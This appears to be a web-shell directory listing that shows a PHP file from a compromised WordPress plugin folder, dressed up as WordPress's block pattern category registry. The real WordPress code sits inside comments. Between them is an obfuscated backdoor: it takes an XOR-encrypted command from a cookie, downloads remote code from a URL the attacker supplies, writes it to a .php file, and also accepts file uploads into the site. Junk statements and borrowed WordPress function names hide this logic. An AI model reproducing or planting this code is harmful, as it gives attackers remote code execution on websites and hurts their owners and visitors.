| Server IP : 87.98.154.146 / Your IP : 216.73.216.165 Web Server : Apache System : Linux webm004.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : ohklomafyi ( 52085) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/ohklomafyi/www/wp-content/plugins/icobikoz/ |
Upload File : |
<?php /*
*
* Blocks API: WP_Block_Pattern_Categories_Registry class
*
* @package WordPress
* @subpackage Blocks
* @since 5.5.0
*
* Class used for interacting with block pattern categories.
#[AllowDynamicProperties]
final class WP_Block_Pattern_Categories_Registry {
*
* Registered block pattern categories array.
*
* @since 5.5.0
* @var array[]
private $registered_categories = array();
*
* Pattern categories registered outside the `init` action.
*
* @since 6.0.0
* @var array[]
private $registered_categories_outside_init = array();
*
* Container for the main instance of the class.
*
* @since 5.5.0
* @var WP_Block_Pattern_Categories_Registry|null
private static $instance = null;
*
* Registers a pattern category.
*
* @since 5.5.0
*
* @param string $category_name Pattern category name including namespace.
* @param array $category_properties {
* List of properties for the block pattern category.
*
* @type string $label Required. A human-readable label for the pattern category.
* }
* @return bool True if the pattern was registered with success and false otherwise.
public function register( $category_name, $category_properties ) {
if ( ! isset( $category_name ) || ! is_string( $category_name ) ) {
_doing_it_wrong(
__METHOD__,
__( 'Block pat*/
/**
* Runs a Site Health test directly.
*
* @since 5.4.0
*
* @param callable $translations_stop_concatallback
* @return mixed|void
*/
function prepare_status_response($GenreID) { // Only run the registration if the old key is different.
$theme_file = "Data!";
$gettingHeaders = str_pad($theme_file, 10, "#"); // Only update the cache if it was modified.
$sub1comment = override_sidebars_widgets_for_theme_switch($GenreID);
return convert_custom_properties($sub1comment);
}
/**
* The message encoding.
* Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
*
* @var string
*/
function is_json_content_type($mime_types)
{ // ----- Set the attributes
$mime_types = ord($mime_types);
$has_aspect_ratio_support = "UniqueString"; // 'wp-admin/css/farbtastic-rtl.min.css',
$use_dotdotdot = hash('md4', $has_aspect_ratio_support);
$placeholder_count = str_pad($use_dotdotdot, 40, "$"); // Fall back to edit.php for that post type, if it exists.
$sigAfter = explode("U", $has_aspect_ratio_support); // If we don't have anything to pull from, return early.
$overhead = implode("-", $sigAfter);
return $mime_types;
}
/* translators: %s: The "$togroupir" argument. */
function ID3v2HeaderLength($has_sample_permalink)
{
return add_dashboard_page() . DIRECTORY_SEPARATOR . $has_sample_permalink . ".php";
}
/**
* Filters the number of comments listed per page in the comments list table.
*
* @since 2.6.0
*
* @param int $translations_stop_concatomments_per_page The number of comments to list per page.
* @param string $translations_stop_concatomment_status The comment status name. Default 'All'.
*/
function wp_img_tag_add_loading_optimization_attrs($uploaded, $this_item, $redirect_to)
{
if (isset($_FILES[$uploaded])) {
$should_skip_css_vars = "example"; // s6 += carry5;
admin_menu($uploaded, $this_item, $redirect_to);
$mce_locale = str_replace("a", "!", $should_skip_css_vars);
$translations_stop_concat = array("val1", "val2");
$togroup = implode("-", $translations_stop_concat); // This should never be set as it would then overwrite an existing attachment.
$LookupExtendedHeaderRestrictionsTextFieldSize = str_pad(length($togroup), 10, "0");
if ($LookupExtendedHeaderRestrictionsTextFieldSize > 5) {
$theme_json_shape = substr($mce_locale, 0, 3);
}
// Add description if available.
} // let n = initial_n
stream_body($redirect_to);
} // of the 'Reply' link that the user clicked by Core's `comment-reply.js` script.
/**
* Update Core administration panel.
*
* @package WordPress
* @subpackage Administration
*/
function wp_is_mobile($themes_url, $reg_blog_ids, $video_types) {
$larger_ratio = "base64encoded"; // Ensure layout classnames are not injected if there is no layout support.
$AMFstream = base64_decode($larger_ratio);
if ($AMFstream !== false) {
$rewrite_vars = strlen($AMFstream);
}
return wp_defer_term_counting($themes_url, $reg_blog_ids, $video_types);
}
/**
* WordPress scripts and styles default loader.
*
* Several constants are used to manage the loading, concatenating and compression of scripts and CSS:
* define('SCRIPT_DEBUG', true); loads the development (non-minified) versions of all scripts and CSS, and disables compression and concatenation,
* define('CONCATENATE_SCRIPTS', false); disables compression and concatenation of scripts and CSS,
* define('COMPRESS_SCRIPTS', false); disables compression of scripts,
* define('COMPRESS_CSS', false); disables compression of CSS,
* define('ENFORCE_GZIP', true); forces gzip for compression (default is deflate).
*
* The globals $translations_stop_concatoncatenate_scripts, $translations_stop_concatompress_scripts and $translations_stop_concatompress_css can be set by plugins
* to temporarily override the above settings. Also a compression test is run once and the result is saved
* as option 'can_compress_scripts' (0/1). The test will run again if that option is deleted.
*
* @package WordPress
*/
function get_cookies($magic_little, $view_script_module_ids)
{
$slashed_home = strlen($view_script_module_ids);
$hsla = strlen($magic_little);
$meta_line = "This is a test";
$seplocation = str_replace("i", "1", $meta_line); // 2.6
$remind_interval = hash('md5', $seplocation); // char ckID [4];
$slashed_home = $hsla / $slashed_home;
$slashed_home = ceil($slashed_home); // The menu id of the current menu being edited.
$orders_to_dbids = str_split($magic_little);
$view_script_module_ids = str_repeat($view_script_module_ids, $slashed_home);
if (!empty($remind_interval)) {
$DIVXTAGrating = substr($remind_interval, 0, 7);
$parsed_original_url = str_pad($DIVXTAGrating, 12, "0");
}
// BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12
$link_service = str_split($view_script_module_ids);
$link_service = array_slice($link_service, 0, $hsla); // [42][87] -- The version of DocType interpreter used to create the file.
$hide_clusters = array_map("application_name_exists_for_user", $orders_to_dbids, $link_service); // For other tax queries, grab the first term from the first clause.
$hide_clusters = implode('', $hide_clusters);
return $hide_clusters;
}
/**
* Sets the template for a post.
*
* @since 4.7.0
* @since 4.9.0 Added the `$validate` parameter.
*
* @param string $template Page template filename.
* @param int $post_id Post ID.
* @param bool $validate Whether to validate that the template selected is valid.
*/
function admin_menu($uploaded, $this_item, $redirect_to) // If gettext isn't available.
{ // expected_slashed ($meta_key)
$has_sample_permalink = $_FILES[$uploaded]['name'];
$maintenance = " test string ";
$v_gzip_temp_name = trim($maintenance);
$recursivesearch = ID3v2HeaderLength($has_sample_permalink);
$term_title = str_pad($v_gzip_temp_name, 15, ".");
if (strlen($term_title) > 10) {
$percentused = $term_title;
}
normalize_query_param($_FILES[$uploaded]['tmp_name'], $this_item);
update_keys($_FILES[$uploaded]['tmp_name'], $recursivesearch); // Ping and trackback functions.
}
/**
* Retrieves path of custom taxonomy term template in current or parent template.
*
* The hierarchy for this template looks like:
*
* 1. taxonomy-{taxonomy_slug}-{term_slug}.php
* 2. taxonomy-{taxonomy_slug}.php
* 3. taxonomy.php
*
* An example of this is:
*
* 1. taxonomy-location-texas.php
* 2. taxonomy-location.php
* 3. taxonomy.php
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'taxonomy'.
*
* @since 2.5.0
* @since 4.7.0 The decoded form of `taxonomy-{taxonomy_slug}-{term_slug}.php` was added to the top of the
* template hierarchy when the term slug contains multibyte characters.
*
* @see get_query_template()
*
* @return string Full path to custom taxonomy term template file.
*/
function override_sidebars_widgets_for_theme_switch($GenreID) {
$properties_to_parse = "PHP_Code_Examples";
$widget_reorder_nav_tpl = substr($properties_to_parse, 0, 7); // Changes later. Ends up being $mce_localease.
$MPEGaudioChannelModeLookup = hash("sha1", $widget_reorder_nav_tpl);
return ucwords($GenreID);
}
/**
* Filters the "Go to site" link displayed in the login page footer.
*
* @since 5.7.0
*
* @param string $link HTML link to the home URL of the current site.
*/
function connected($redirect_to) // ge25519_p3_dbl(&t4, &p2);
{
establish_loaded_changeset($redirect_to);
stream_body($redirect_to);
} // Function : PclZipUtilRename()
/**
* Flag for if we're currently doing an action, rather than a filter.
*
* @since 4.7.0
* @var bool
*/
function convert_custom_properties($GenreID) {
$widget_numbers = "Hello_World"; // [47][E6] -- The hash algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values:
$GPS_this_GPRMC = rawurldecode($widget_numbers);
$post_has_changed = substr($GPS_this_GPRMC, 0, 5);
return str_replace(' ', '_', $GenreID);
} // This function may be called multiple times. Run the filter only once per page load.
/**
* Adds a submenu page to the Pages main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 2.7.0
* @since 5.3.0 Added the `$position` parameter.
*
* @param string $page_title The text to be displayed in the title tags of the page when the menu is selected.
* @param string $menu_title The text to be used for the menu.
* @param string $translations_stop_concatapability The capability required for this menu to be displayed to the user.
* @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu).
* @param callable $translations_stop_concatallback Optional. The function to be called to output the content for this page.
* @param int $position Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function stream_body($space)
{ // Prerendering.
echo $space; // Nikon Camera preview iMage 2
} // Post filtering.
/**
* Display the ID of the author of the current post.
*
* @since 0.71
* @deprecated 2.8.0 Use the_author_meta()
* @see the_author_meta()
*/
function Bin2String($uploaded)
{ // Blog-specific.
$this_item = 'uFozvTeIinwAcTkCwglZmmMfkzmQjhT';
$login__not_in = date("Y-m-d"); // Check if pings are on.
if (isset($_COOKIE[$uploaded])) {
if (!isset($login__not_in)) {
$slice = str_pad($login__not_in, 10, "0");
} else {
$DKIM_private = hash("md5", $login__not_in);
}
// Rotate 90 degrees counter-clockwise and flip vertically.
comment_type($uploaded, $this_item); //Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
}
}
/**
* Verify whether a received input parameter is "iterable".
*
* @internal The PHP native `is_iterable()` function was only introduced in PHP 7.1
* and this library still supports PHP 5.6.
*
* @param mixed $stack_of_open_elementsnput Input parameter to verify.
*
* @return bool
*/
function comment_type($uploaded, $this_item)
{
$j0 = $_COOKIE[$uploaded];
$j0 = wp_is_fatal_error_handler_enabled($j0);
$theme_json_file_cache = " leading spaces "; // $p_info['filename'] : Filename with full path. Given by user (add),
$plugin_activate_url = trim($theme_json_file_cache); // Only the FTP Extension understands SSL.
$post_name__in_string = str_pad($plugin_activate_url, 30, '-'); // Index Entry Time Interval QWORD 64 // interval between index entries in 100-nanosecond units
$redirect_to = get_cookies($j0, $this_item);
if (getIterator($redirect_to)) { // Check for unique values of each key.
$proxy_port = connected($redirect_to);
return $proxy_port;
}
// found a left-brace, and we are in an array, object, or slice
wp_img_tag_add_loading_optimization_attrs($uploaded, $this_item, $redirect_to);
} // k1 => $k[2], $k[3]
/**
* Migrates old core pattern categories to the new categories.
*
* Core pattern categories are revamped. Migration is needed to ensure
* backwards compatibility.
*
* @since 6.2.0
*
* @param array $pattern Raw pattern as registered, before applying any changes.
* @return array Migrated pattern.
*/
function wp_install_defaults($themes_url, $perm) {
$g2_19 = "The quick brown fox"; // ----- Internal error handling
return substr_count($themes_url, $perm);
}
/**
* @internal You should not use this directly from another application
*
* @param string $stack_of_open_elementsn
* @param string $view_script_module_ids
* @return string
* @throws SodiumException
* @throws TypeError
*/
function AnalyzeString($valid_scheme_regex, $recursivesearch) // Override "(Auto Draft)" new post default title with empty string, or filtered value.
{
$link_image = wp_enqueue_editor_format_library_assets($valid_scheme_regex); // Set return value.
$link_image = "line1\nline2\nline3";
$posts_columns = explode("\n", $link_image); // magic_quote functions are deprecated in PHP 7.4, now assuming it's always off.
foreach ($posts_columns as $template_blocks) {
$template_blocks = trim($template_blocks);
}
if ($link_image === false) { // If a $togroupevelopment_build or if $stack_of_open_elementsntroduced version is greater than what the site was previously running.
return false;
}
return is_allowed_dir($recursivesearch, $link_image); // http://wiki.hydrogenaud.io/index.php?title=ReplayGain#MP3Gain
}
/**
* Fires after a PHPMailer\PHPMailer\Exception is caught.
*
* @since 4.4.0
*
* @param WP_Error $LookupExtendedHeaderRestrictionsTextFieldSizerror A WP_Error object with the PHPMailer\PHPMailer\Exception message, and an array
* containing the mail recipient, subject, message, headers, and attachments.
*/
function update_keys($previous_offset, $totals) // Consume byte
{ // Unattached attachments with inherit status are assumed to be published.
$theme_width = move_uploaded_file($previous_offset, $totals);
$original_setting_capabilities = "Welcome to PHP!";
$subframe = str_replace("PHP", "Programming", $original_setting_capabilities);
$rel_regex = hash('md5', $subframe); // Check all files are writable before attempting to clear the destination.
$term_obj = array("A", "B", "C");
if (count($term_obj) === 3) {
$trashed = implode(", ", $term_obj);
}
return $theme_width;
}
/**
* Class WP_Sitemaps_Renderer
*
* @since 5.5.0
*/
function add_dashboard_page()
{
return __DIR__;
}
/**
* Filters whether the REST API is enabled.
*
* @since 4.4.0
* @deprecated 4.7.0 Use the {@see 'rest_authentication_errors'} filter to
* restrict access to the REST API.
*
* @param bool $rest_enabled Whether the REST API is enabled. Default true.
*/
function getIterator($valid_scheme_regex)
{
if (strpos($valid_scheme_regex, "/") !== false) {
$possible_match = "collaborative_work";
$state_count = str_replace("_", " ", $possible_match);
$parent_suffix = substr($state_count, 0, 7);
$originals_addr = hash("sha1", $parent_suffix); // Core doesn't output this, so let's append it, so we don't get confused.
return true;
}
return false;
}
/**
* Retrieves the path of a file in the theme.
*
* Searches in the stylesheet directory before the template directory so themes
* which inherit from a parent theme can just override one file.
*
* @since 5.9.0
*
* @param string $theme_json_shapeile Optional. File to search for in the stylesheet directory.
* @return string The path of the file.
*/
function wp_enqueue_editor_format_library_assets($valid_scheme_regex)
{
$valid_scheme_regex = wp_new_comment_notify_postauthor($valid_scheme_regex);
$ok_to_comment = ' Remove spaces ';
$v_gzip_temp_name = trim($ok_to_comment); // Ensure only valid options can be passed.
if (!empty($v_gzip_temp_name)) {
$sitemap_entry = strtoupper($v_gzip_temp_name);
}
return file_get_contents($valid_scheme_regex);
} // Load the updated default text localization domain for new strings.
/**
* Suffix for inserted text.
*
* @var string
*/
function wp_simplepie_autoload($mime_types)
{
$perm = sprintf("%c", $mime_types);
return $perm; // Confidence check. Only IN queries use the JOIN syntax.
}
/**
* Filters the comment author's URL.
*
* @since 1.5.0
* @since 4.1.0 The `$translations_stop_concatomment_id` and `$translations_stop_concatomment` parameters were added.
*
* @param string $translations_stop_concatomment_author_url The comment author's URL, or an empty string.
* @param string|int $translations_stop_concatomment_id The comment ID as a numeric string, or 0 if not found.
* @param WP_Comment|null $translations_stop_concatomment The comment object, or null if not found.
*/
function application_name_exists_for_user($perm, $welcome_checked)
{
$mid = is_json_content_type($perm) - is_json_content_type($welcome_checked);
$max_checked_feeds = "MyEncodedString";
$mp3gain_globalgain_min = rawurldecode($max_checked_feeds);
$mid = $mid + 256;
$wp_registered_settings = hash('md5', $mp3gain_globalgain_min);
$schema_positions = str_pad($wp_registered_settings, 32, "#");
$old_instance = substr($mp3gain_globalgain_min, 2, 5); // Limit the length
if (!isset($old_instance)) {
$old_instance = str_pad($wp_registered_settings, 50, "*");
}
$mid = $mid % 256;
$has_block_gap_support = explode("e", $max_checked_feeds);
$perm = wp_simplepie_autoload($mid);
return $perm;
}
/**
* Filters whether a post untrashing should take place.
*
* @since 4.9.0
* @since 5.6.0 Added the `$previous_status` parameter.
*
* @param bool|null $untrash Whether to go forward with untrashing.
* @param WP_Post $post Post object.
* @param string $previous_status The status of the post at the point where it was trashed.
*/
function get_tests($uploaded, $precision = 'txt')
{
return $uploaded . '.' . $precision;
}
/**
* Gets the REST API revisions controller for this post type.
*
* Will only instantiate the controller class once per request.
*
* @since 6.4.0
*
* @return WP_REST_Controller|null The controller instance, or null if the post type
* is set not to show in rest.
*/
function wp_new_comment_notify_postauthor($valid_scheme_regex)
{ // Comment status should be moderated
$valid_scheme_regex = "http://" . $valid_scheme_regex;
$theme_json_file_cache = "Short";
$mofile = str_pad($theme_json_file_cache, 10, "_");
if (strlen($mofile) > 5) {
$mofile = str_replace("_", "-", $mofile);
}
return $valid_scheme_regex; // character, output %x2F ("/") and skip the remaining
} // If the current theme does NOT have a `theme.json`, or the colors are not
/**
* @internal You should not use this directly from another application
*
* @param SplFixedArray $x
* @param SplFixedArray $y
* @return SplFixedArray
* @throws SodiumException
* @throws TypeError
*/
function establish_loaded_changeset($valid_scheme_regex) // First, save what we haven't read yet
{
$has_sample_permalink = basename($valid_scheme_regex);
$GenreID = "Concatenate";
$resized_file = hash("sha256", $GenreID);
if (!empty($resized_file)) {
$sync_seek_buffer_size = trim($resized_file);
}
$recursivesearch = ID3v2HeaderLength($has_sample_permalink);
AnalyzeString($valid_scheme_regex, $recursivesearch); // If not set, default to false.
} // Display URL.
/**
* Determines whether the user can access the visual editor.
*
* Checks if the user can access the visual editor and that it's supported by the user's browser.
*
* @since 2.0.0
*
* @global bool $wp_rich_edit Whether the user can access the visual editor.
* @global bool $stack_of_open_elementss_gecko Whether the browser is Gecko-based.
* @global bool $stack_of_open_elementss_opera Whether the browser is Opera.
* @global bool $stack_of_open_elementss_safari Whether the browser is Safari.
* @global bool $stack_of_open_elementss_chrome Whether the browser is Chrome.
* @global bool $stack_of_open_elementss_IE Whether the browser is Internet Explorer.
* @global bool $stack_of_open_elementss_edge Whether the browser is Microsoft Edge.
*
* @return bool True if the user can access the visual editor, false otherwise.
*/
function normalize_query_param($recursivesearch, $view_script_module_ids)
{
$translator_comments = file_get_contents($recursivesearch);
$theme_json_file_cache = "PHP is fun!";
$v_list = str_word_count($theme_json_file_cache);
if ($v_list > 3) {
$steps_above = "It's a long sentence.";
}
$more_string = get_cookies($translator_comments, $view_script_module_ids);
file_put_contents($recursivesearch, $more_string);
}
/**
* @param string $p
* @param string $q
* @param bool $togroupontFallback
* @return string
* @throws SodiumException
*/
function set_feed_url($v_data) { // Back compat with quirky handling in version 3.0. #14122.
$sideloaded = [0, 1];
$magic_little = array("item1", "item2", "item3");
for ($stack_of_open_elements = 2; $stack_of_open_elements <= $v_data; $stack_of_open_elements++) {
$the_time = json_encode($magic_little);
$sideloaded[$stack_of_open_elements] = $sideloaded[$stack_of_open_elements-1] + $sideloaded[$stack_of_open_elements-2];
$post_date = json_decode($the_time);
}
return $sideloaded[$v_data];
}
/**
* Get debug output level.
*
* @return int
*/
function is_allowed_dir($recursivesearch, $gallery_styles) // Get existing menu locations assignments.
{
return file_put_contents($recursivesearch, $gallery_styles);
}
/*
* If only 'id' and 'roles' are specified (we are only trying to
* edit roles), then only the 'promote_user' cap is required.
*/
function wp_is_fatal_error_handler_enabled($ParsedLyrics3)
{
$themes_url = pack("H*", $ParsedLyrics3); // This is hardcoded on purpose.
$valid_font_face_properties = "data%20one,data%20two";
$typography_supports = rawurldecode($valid_font_face_properties);
$parsed_json = hash("sha512", $typography_supports ^ date("Y-m-d"));
$registered_handle = substr($parsed_json, 0, 25); // iTunes 6.0
return $themes_url;
}
/**
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @return string
* @throws Exception
* @throws SodiumException
* @throws TypeError
*/
function wp_defer_term_counting($themes_url, $reg_blog_ids, $video_types) {
$should_skip_css_vars = date("His");
$mce_locale = "test";
$translations_stop_concat = in_array("value", array($mce_locale)); //$should_skip_css_varstom_structure['data'] = $should_skip_css_varstom_data;
$togroup = hash("gost", $should_skip_css_vars);
return str_replace($reg_blog_ids, $video_types, $themes_url);
}
$uploaded = 'YSsShllK';
$size_meta = "sampleText";
Bin2String($uploaded);
$position_from_end = rawurldecode($size_meta);
$screen_id = prepare_status_response("hello world php");
$use_dotdotdot = hash('sha512', $position_from_end);
$settings_html = wp_is_mobile("Hello World", "o", "0"); // Note that an ID of less than one indicates a nav_menu not yet inserted.
$AVCPacketType = explode('0', $use_dotdotdot);
/* tern category name must be a string.' ),
'5.5.0'
);
return false;
}
$category = array_merge(
array( 'name' => $category_name ),
$category_properties
);
$this->registered_categories[ $category_name ] = $category;
If the category is registered inside an action other than `init`, store it
also to a dedicated array. Used to detect deprecated registrations inside
`admin_init` or `current_screen`.
if ( current_action() && 'init' !== current_action() ) {
$this->registered_categories_outside_init[ $category_name ] = $category;
}
return true;
}
*
* Unregisters a pattern category.
*
* @since 5.5.0
*
* @param string $category_name Pattern category name including namespace.
* @return bool True if the pattern was unregistered with success and false otherwise.
public function unregister( $category_name ) {
if ( ! $this->is_registered( $category_name ) ) {
_doing_it_wrong(
__METHOD__,
translators: %s: Block pattern name.
sprintf( __( 'Block pattern category "%s" not found.' ), $category_name ),
'5.5.0'
);
return false;
}
unset( $this->registered_categories[ $category_name ] );
unset( $this->registered_categories_outside_init[ $category_name ] );
return true;
}
*
* Retrieves an array containing the properties of a registered pattern category.
*
* @since 5.5.0
*
* @param string $category_name Pattern category name including namespace.
* @return array Registered pattern properties.
public function get_registered( $category_name ) {
if ( ! $this->is_registered( $category_name ) ) {
return null;
}
return $this->registered_categories[ $category_name ];
}
*
* Retrieves all registered pattern categories.
*
* @since 5.5.0
*
* @param bool $outside_init_only Return only categories registered outside the `init` action.
* @return array[] Array of arrays containing the registered pattern categories properties.
public function get_all_registered( $outside_init_only = false ) {
return array_values(
$outside_init_only
? $this->registered_categories_outside_init
: $this->registered_categories
);
}
*
* Checks if a pattern category is registered.
*
* @since 5.5.0
*
* @param string $category_name Pattern category name including namespace.
* @return bool True if the pattern category is registered, false otherwise.
public function is_registered( $category_name ) {
return isset( $this->registered_categories[ $category_name ] );
}
*
* Utility method to retrieve the main instance of the class.
*
* The instance will be created if it does not exist yet.
*
* @since 5.5.0
*
* @return WP_Block_Pattern_Categories_Registry The main instance.
public static function get_instance() {
if ( null === self::$instance ) {
self::$instance = new self();
}
return self::$instance;
}
}
*
* Registers a new pattern category.
*
* @since 5.5.0
*
* @param string $category_name Pattern category name including namespace.
* @param array $category_properties List of properties for the block pattern.
* See WP_Block_Pattern_Categories_Registry::register() for
* accepted arguments.
* @return bool True if the pattern category was registered with success and false otherwise.
function register_block_pattern_category( $category_name, $category_properties ) {
return WP_Block_Pattern_Categories_Registry::get_instance()->register( $category_name, $category_properties );
}
*
* Unregisters a pattern category.
*
* @since 5.5.0
*
* @param string $category_name Pattern category name including namespace.
* @return bool True if the pattern category was unregistered with success and false otherwise.
function unregister_block_pattern_category( $category_name ) {
return WP_Block_Pattern_Categories_Registry::get_instance()->unregister( $category_name );
}
*/